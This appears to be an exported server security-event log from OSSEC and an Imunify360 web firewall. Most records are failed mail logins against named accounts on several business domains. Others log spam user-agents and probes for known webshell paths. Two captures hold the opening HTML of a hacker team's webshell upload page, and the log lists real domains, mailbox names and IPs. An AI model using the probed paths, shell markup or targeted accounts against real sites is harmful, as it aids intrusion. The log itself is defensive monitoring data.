abuser: 106.0.165.219
country_id: 1605651
description:
2026-07-06 19:45:12 dovecot_login authenticator failed for H=(c-76-132-238-43.hsd1.ca.comcast.net) [106.0.165.219]:48852: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-06 19:46:02 dovecot_login authenticator failed for H=([58.222.86.210]) [122.185.44.206]:42488: 535 Incorrect authentication data (set_id=support@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.129.75.178
country_id: 1835841
description:
2026-07-06 19:46:17 dovecot_login authenticator failed for H=([177.135.124.145]) [121.129.75.178]:52731: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.209.30
country_id: 1269750
description:
2026-07-06 19:52:17 dovecot_login authenticator failed for H=([171.211.123.106]) [128.185.209.30]:34486: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-06 19:52:45 dovecot_login authenticator failed for H=([68.71.240.212]) [51.116.117.203]:19137: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.146
country_id: 1819730
description:
2026-07-06 19:55:16 dovecot_login authenticator failed for H=146.47.246.220.static.netvigator.com (secovi-rs.pae.gvt.net.br) [220.246.47.146]:63931: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.1.105.105
country_id: 1269750
description:
2026-07-06 19:54:35 dovecot_login authenticator failed for H=([76.49.199.97]) [61.1.105.105]:53645: 535 Incorrect authentication data (set_id=support@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.70.26
country_id: 294640
description:
2026-07-06 19:54:48 dovecot_login authenticator failed for H=([199.187.210.51]) [2.55.70.26]:44089: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.156.224.179
country_id: 102358
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 buy ipad mini with crypto, <a href=\"https://macforcrypto.com\">macforcrypto.com</a>, (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.54
country_id: 1668284
description:
2026-07-06 20:02:57 dovecot_login authenticator failed for H=111-70-38-54.emome-ip.hinet.net ([103.4.167.15]) [111.70.38.54]:34043: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.207.93
country_id: 1269750
description:
2026-07-06 20:03:17 dovecot_login authenticator failed for H=([209.65.254.11]) [122.169.207.93]:10515: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 87.251.25.56
country_id: 69543
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:61313.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:47a496225cbcb63697a61bb7c162328de0f128e2||Title:0x186f8edd||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.1.58
country_id: 1668284
description:
2026-07-06 20:04:45 dovecot_login authenticator failed for H=([61.36.134.212]) [101.13.1.58]:60768: 535 Incorrect authentication data (set_id=webmaster@idealloanz.com.au)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.74.231
country_id: 1512440
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/business-gravity-img-3-1170x710/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-07-06 20:07:26 dovecot_login authenticator failed for H=([68.71.240.212]) [49.206.201.253]:47760: 535 Incorrect authentication data (set_id=info@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.207.9.154
country_id: 1269750
description:
2026-07-06 20:07:45 dovecot_login authenticator failed for H=([180.250.112.148]) [103.207.9.154]:50920: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.187.2
country_id: 1269750
description:
2026-07-06 20:11:22 dovecot_login authenticator failed for H=([206.62.136.111]) [128.185.187.2]:35036: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.245.241.28
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://meneercasino.com/online-casino-reviews/one-casino\">viagra triangle chicago</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.110.135
country_id: 1668284
description:
2026-07-06 20:11:48 dovecot_login authenticator failed for H=110-25-110-135.adsl.fetnet.net ([59.145.84.169]) [110.25.110.135]:44466: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.53.82
country_id: 1733045
description:
2026-07-06 20:12:14 dovecot_login authenticator failed for H=([72.206.74.97]) [183.171.53.82]:36282: 535 Incorrect authentication data (set_id=marketing@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.59
country_id: 1733045
description:
2026-07-06 20:12:40 dovecot_login authenticator failed for H=(119.92.76.212.static.pldt.net) [49.124.151.59]:42928: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.131.63
country_id: 99237
description:
2026-07-06 20:15:55 dovecot_login authenticator failed for H=([223.82.97.51]) [65.20.131.63]:59535: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.227
country_id: 1269750
description:
2026-07-06 20:16:09 dovecot_login authenticator failed for H=([61.36.134.212]) [128.185.33.227]:52338: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.208.63
country_id: 1835841
description:
2026-07-06 20:16:25 dovecot_login authenticator failed for H=(187-8-89-120.customer.tdatabrasil.net.br) [182.31.208.63]:54369: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.148.99.59
country_id: 6252001
description:
2026-07-06 20:18:28 dovecot_login authenticator failed for H=([70.166.167.49]) [38.148.99.59]:40279: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.3.26
country_id: 1269750
description:
2026-07-06 20:18:48 dovecot_login authenticator failed for H=([175.195.205.236]) [117.205.3.26]:52985: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.61.159.91
country_id: 2264397
description:
2026-07-06 20:19:19 dovecot_login authenticator failed for H=91.159.61.94.rev.vodafone.pt ([14.102.101.248]) [94.61.159.91]:43942: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.87.30
country_id: 1835841
description:
2026-07-06 20:19:25 dovecot_login authenticator failed for H=(098240.cagr.ncyu.edu.tw) [125.139.87.30]:60546: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.96.62.29
country_id: 1835841
description:
2026-07-06 20:19:45 dovecot_login authenticator failed for H=([118.220.149.121]) [183.96.62.29]:11841: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.17.214
country_id: 1668284
description:
2026-07-06 20:19:59 dovecot_login authenticator failed for H=111-70-17-214.emome-ip.hinet.net ([121.131.220.168]) [111.70.17.214]:46571: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.238.140.87
country_id: 2661886
description:
2026-07-06 20:20:15 dovecot_login authenticator failed for H=customer-109-238-140-87.stosn.net (210.0.90.81.static.nexnet.net.au) [109.238.140.87]:34352: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.198.90.154
country_id: 1269750
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/update_with_pics.php||SC:/home/ibmcglobal/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.102.54
country_id: 1168579
description:
2026-07-06 20:24:44 dovecot_login authenticator failed for H=([124.153.182.76]) [119.152.102.54]:44649: 535 Incorrect authentication data (set_id=contact@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-06 20:25:15 dovecot_login authenticator failed for H=([186.80.230.116]) [188.122.37.97]:40280: 535 Incorrect authentication data (set_id=contact)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.28.154.49
country_id: 2264397
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/jc4g9sov.php||SC:/home/globalgroupoman/public_html/images/jc4g9sov.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-06 20:30:55 dovecot_login authenticator failed for H=([68.71.240.212]) [51.116.117.203]:42803: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 104.28.154.49
country_id: 2264397
domain: globalgroupoman.com
description:
IM360 WAF: Possible XSS in arguments||MV:<!doctype html>\n<html>\n<head>\n    <title>cyb3r drag0nz team shell</title>\n    <meta charset=\"utf-8\">\n    <style>\n        @import url('https://fonts.googleapis.com/css2?family=roboto:wght@400;500;700&display=swap');\n        \n        body {\n            font-family: 'roboto', system-ui, sans-serif;\n            background: #f8f9fa;\n            color: #202124;\n            margin: 0;\n            padding: 20px;\n        }\n\n        .header {\n            text-align: center;\n            margin-bottom: 30px;\n        }\n\n        .header h1 {\n            font-size: 28px;\n            color: #1a73e8;\n            margin: 10px 0 5px 0;\n            font-weight: 500;\n        }\n\n        .header img {\n            max-width: 420px;\n            margin: 15px 0 25px 0;\n            border-radius: 8px;\n            box-shadow: 0 4px 15px rgba(0,0,0,0.12);\n        }\n\n        .info {\n            background: #fff;\n            border-radius: 12px;\n            padding: 20px;\n            box-shadow: 0 1px 3px rgba(0,0,0,0.1);\n            margin-bottom: 25px;\n            font-size: 14.5px;\n            line-height: 1.6;\n        }\n\n        .info span {\n            color: #1a73e8;\n            font-weight: 500;\n        }\n\n        table {\n            width: 100%;\n            max-width: 1100px;\n            margin: 0 auto;\n            border-collapse: collapse;\n            background: #fff;\n            border-radius: 12px;\n            overflow: hidden;\n            box-shadow: 0 2px 8px rgba(0,0,0,0.08);\n        }\n\n        th {\n            background: #1a73e8;\n            color: white;\n            padding: 16px 12px;\n            text-align: center;\n            font-weight: 500;\n        }\n\n        td {\n            padding: 13px 10px;\n            border-bottom: 1px solid #dadce0;\n        }\n\n        tr:hover {\n            background-color: #f8f9fa;\n        }\n\n        a {\n            color: #1a73e8;\n            text-decoration: none;\n        }\n\n        a:hover {\n            text-decoration: underline;\n        }\n\n        .upload-box {\n            background: #fff;\n            border-radius: 12px;\n            padding: 25px;\n            box-shadow: 0 1px 3px rgba(0,0,0,0.1);\n            margin: 20px auto;\n            max-width: 720px;\n        }\n\n        input[type=\"file\


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 104.28.154.49
country_id: 2264397
domain: globalgroupoman.com
description:
IM360 WAF: PHP Injection Low value||MV:<!DOCTYPE html>\n<html>\n<head>\n    <title>Cyb3r Drag0nz Team Shell</title>\n    <meta charset=\"utf-8\">\n    <style>\n        @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap');\n        \n        body {\n            font-family: 'Roboto', system-ui, sans-serif;\n            background: #f8f9fa;\n            color: #202124;\n            margin: 0;\n            padding: 20px;\n        }\n\n        .header {\n            text-align: center;\n            margin-bottom: 30px;\n        }\n\n        .header h1 {\n            font-size: 28px;\n            color: #1a73e8;\n            margin: 10px 0 5px 0;\n            font-weight: 500;\n        }\n\n        .header img {\n            max-width: 420px;\n            margin: 15px 0 25px 0;\n            border-radius: 8px;\n            box-shadow: 0 4px 15px rgba(0,0,0,0.12);\n        }\n\n        .info {\n            background: #fff;\n            border-radius: 12px;\n            padding: 20px;\n            box-shadow: 0 1px 3px rgba(0,0,0,0.1);\n            margin-bottom: 25px;\n            font-size: 14.5px;\n            line-height: 1.6;\n        }\n\n        .info span {\n            color: #1a73e8;\n            font-weight: 500;\n        }\n\n        table {\n            width: 100%;\n            max-width: 1100px;\n            margin: 0 auto;\n            border-collapse: collapse;\n            background: #fff;\n            border-radius: 12px;\n            overflow: hidden;\n            box-shadow: 0 2px 8px rgba(0,0,0,0.08);\n        }\n\n        th {\n            background: #1a73e8;\n            color: white;\n            padding: 16px 12px;\n            text-align: center;\n            font-weight: 500;\n        }\n\n        td {\n            padding: 13px 10px;\n            border-bottom: 1px solid #dadce0;\n        }\n\n        tr:hover {\n            background-color: #f8f9fa;\n        }\n\n        a {\n            color: #1a73e8;\n            text-decoration: none;\n        }\n\n        a:hover {\n            text-decoration: underline;\n        }\n\n        .upload-box {\n            background: #fff;\n            border-radius: 12px;\n            padding: 25px;\n            box-shadow: 0 1px 3px rgba(0,0,0,0.1);\n            margin: 20px auto;\n            max-width: 720px;\n        }\n\n        input[type=\"file\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.30.129.156
country_id: 6251999
description:
2026-07-06 20:35:13 dovecot_login authenticator failed for H=host-96-30-129-156.public.eastlink.ca ([194.31.8.12]) [96.30.129.156]:60108: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.157.252.162
country_id: 2260494
description:
2026-07-06 20:35:27 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [197.157.252.162]:40360: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.23
country_id: 2661886
description:
2026-07-06 20:35:49 dovecot_login authenticator failed for H=78-66-44-23-no2550.tbcn.telia.com (201-200-93-6.mad-05-p64.cantv.net.93.208.201.in-addr.arpa) [78.66.44.23]:42438: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.205.169
country_id: 1733045
description:
2026-07-06 20:36:45 dovecot_login authenticator failed for H=([70.166.167.44]) [49.124.205.169]:51814: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.78.54.14
country_id: 1668284
description:
2026-07-06 20:38:36 dovecot_login authenticator failed for H=([125.130.102.172]) [211.78.54.14]:53708: 535 Incorrect authentication data (set_id=sales@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-06 20:43:25 dovecot_login authenticator failed for H=([38.148.99.59]) [182.95.189.66]:54436: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.87.30
country_id: 1835841
description:
2026-07-06 20:43:45 dovecot_login authenticator failed for H=(187-51-219-26.customer.tdatabrasil.net.br) [125.139.87.30]:33350: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.11.40
country_id: 1269750
description:
2026-07-06 20:43:36 dovecot_login authenticator failed for H=([61.174.28.202]) [122.160.11.40]:38597: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.40.122.250
country_id: 2629691
description:
2026-07-06 20:46:51 dovecot_login authenticator failed for H=nova-185-040-122-250.cpe.novanet.is (82-209-148-60.cust.bredband2.com) [185.40.122.250]:47300: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-06 20:47:04 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([70.166.167.47]) [155.4.31.215]:42062: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.84
country_id: 1733045
description:
2026-07-06 20:47:21 dovecot_login authenticator failed for H=([162.253.68.102]) [49.124.151.84]:55338: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-06 20:48:09 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi (176-170-1-244.abo.bbox.fr) [80.223.190.179]:42118: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.138.181
country_id: 1819730
description:
2026-07-06 20:48:18 dovecot_login authenticator failed for H=([36.135.92.36]) [121.202.138.181]:39262: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.233.182.39
country_id: 1835841
description:
2026-07-06 20:48:32 dovecot_login authenticator failed for H=(177-74-136-194.pontocomnet.net.br) [218.233.182.39]:7140: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.32.231.200
country_id: 1835841
description:
2026-07-06 20:47:39 dovecot_login authenticator failed for H=([98.181.137.75]) [14.32.231.200]:62620: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-06 20:47:41 dovecot_login authenticator failed for H=([187.50.122.20]) [182.95.229.110]:60028: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.89.111.206
country_id: 1861060
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/yukticlick/public_html/wp-admin||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.89.111.206
country_id: 1861060
domain: yukticlick.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/yukticlick/public_html/wp-includes||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.83.23.169
country_id: 1168579
description:
2026-07-06 20:52:01 dovecot_login authenticator failed for H=([20.224.41.181]) [103.83.23.169]:51948: 535 Incorrect authentication data (set_id=marketing@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.129.18
country_id: 2077456
description:
2026-07-06 20:52:17 dovecot_login authenticator failed for H=202-62-129-18.ip.vocus.network ([175.198.175.22]) [202.62.129.18]:53920: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.39.124
country_id: 798544
description:
2026-07-06 20:52:41 dovecot_login authenticator failed for H=89-67-39-124.dynamic.play.pl ([116.38.54.26]) [89.67.39.124]:37742: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.209.51
country_id: 2661886
description:
2026-07-06 20:52:54 dovecot_login authenticator failed for H=h-155-4-209-51.a463.priv.bahnhof.se (wsip-184-178-172-20.rn.hr.cox.net) [155.4.209.51]:37402: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 34.143.195.196
country_id: 1880251
domain: keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:34.143.195.196||TA:34.143.195.196||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.86.88.24
country_id: 2802361
description:
2026-07-06 20:55:05 dovecot_login authenticator failed for H=([220.80.66.168]) [91.86.88.24]:34206: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-06 20:54:50 dovecot_login authenticator failed for H=(110-25-112-150.adsl.fetnet.net) [182.95.176.122]:37714: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.140.125.52
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/futuracarecom/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.140.125.52
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/futuracarecom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.56.228.149
country_id: 6252001
description:
2026-07-06 20:59:29 dovecot_login authenticator failed for H=ool-6038e495.static.optonline.net (Dinamic-Tigo186-97-203-163.tigo.com.co) [96.56.228.149]:40228: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.88
country_id: 99237
description:
2026-07-06 20:58:47 dovecot_login authenticator failed for H=([112.27.230.157]) [65.20.204.88]:33799: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.53.193.47
country_id: 2661886
description:
2026-07-06 21:00:10 dovecot_login authenticator failed for H=h77-53-193-47.cust.bredband2.com ([183.171.236.104]) [77.53.193.47]:35670: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-07-06 21:01:07 dovecot_login authenticator failed for H=(110-25-105-240.adsl.fetnet.net) [201.46.124.0]:2716: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.58
country_id: 1668284
description:
2026-07-06 21:01:28 dovecot_login authenticator failed for H=110-25-109-58.adsl.fetnet.net ([188.126.241.118]) [110.25.109.58]:52818: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.115.5
country_id: 2661886
description:
2026-07-06 21:01:57 dovecot_login authenticator failed for H=90-230-115-5-no2550.tbcn.telia.com (183.82.108.109.actcorp.in) [90.230.115.5]:55420: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.114.245
country_id: 1835841
description:
2026-07-06 21:02:15 dovecot_login authenticator failed for H=([210.22.149.155]) [59.8.114.245]:39106: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.188.204.213
country_id: 6252001
description:
2026-07-06 21:01:44 dovecot_login authenticator failed for H=(187-51-198-202.customer.tdatabrasil.net.br) [50.188.204.213]:50964: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.56
country_id: 99237
description:
2026-07-06 21:01:57 dovecot_login authenticator failed for H=([103.69.9.16]) [65.20.133.56]:34077: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://wiki.familie-rosche.de/index.php?title=User:MichaleBunning2\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat \xc4\x90\xe1\xba\xafk L\xe1\xba\xafk\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-06 21:03:24 dovecot_login authenticator failed for H=([49.124.152.35]) [197.219.208.58]:50564: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.227.94
country_id: 1269750
description:
2026-07-06 21:03:50 dovecot_login authenticator failed for H=([59.97.52.95]) [152.52.227.94]:45902: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.25.108.2
country_id: 1643084
description:
2026-07-06 21:07:24 dovecot_login authenticator failed for H=ns1.sinergi.net.id ([125.18.248.217]) [223.25.108.2]:38168: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.188.251.230
country_id: 1269750
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/yukticlick/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/images/cache.php||SC:/home/metrodigitals/public_html/images/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.188.251.230
country_id: 1269750
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/index.php||SC:/home/yukticlick/public_html/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.237.122
country_id: 1269750
description:
2026-07-06 21:09:51 dovecot_login authenticator failed for H=([68.71.254.3]) [122.187.237.122]:56238: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.86
country_id: 1668284
description:
2026-07-06 21:10:26 dovecot_login authenticator failed for H=(wsip-184-178-172-20.rn.hr.cox.net) [101.13.6.86]:45258: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.121.148
country_id: 1861060
domain: apkmetal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/update_with_pics.php||SC:/home/apkmetals/public_html/uploads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.163.77
country_id: 1835841
domain: vrishenterprises.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/update_with_pics.php||SC:/home/vrishenterprises/public_html/uploads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.121.148
country_id: 1861060
domain: apkmetal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/contacto.php||SC:/home/apkmetals/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-06 21:13:13 dovecot_login authenticator failed for H=([113.193.187.154]) [219.248.4.146]:36114: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.121.148
country_id: 1861060
domain: apkmetal.in
description:
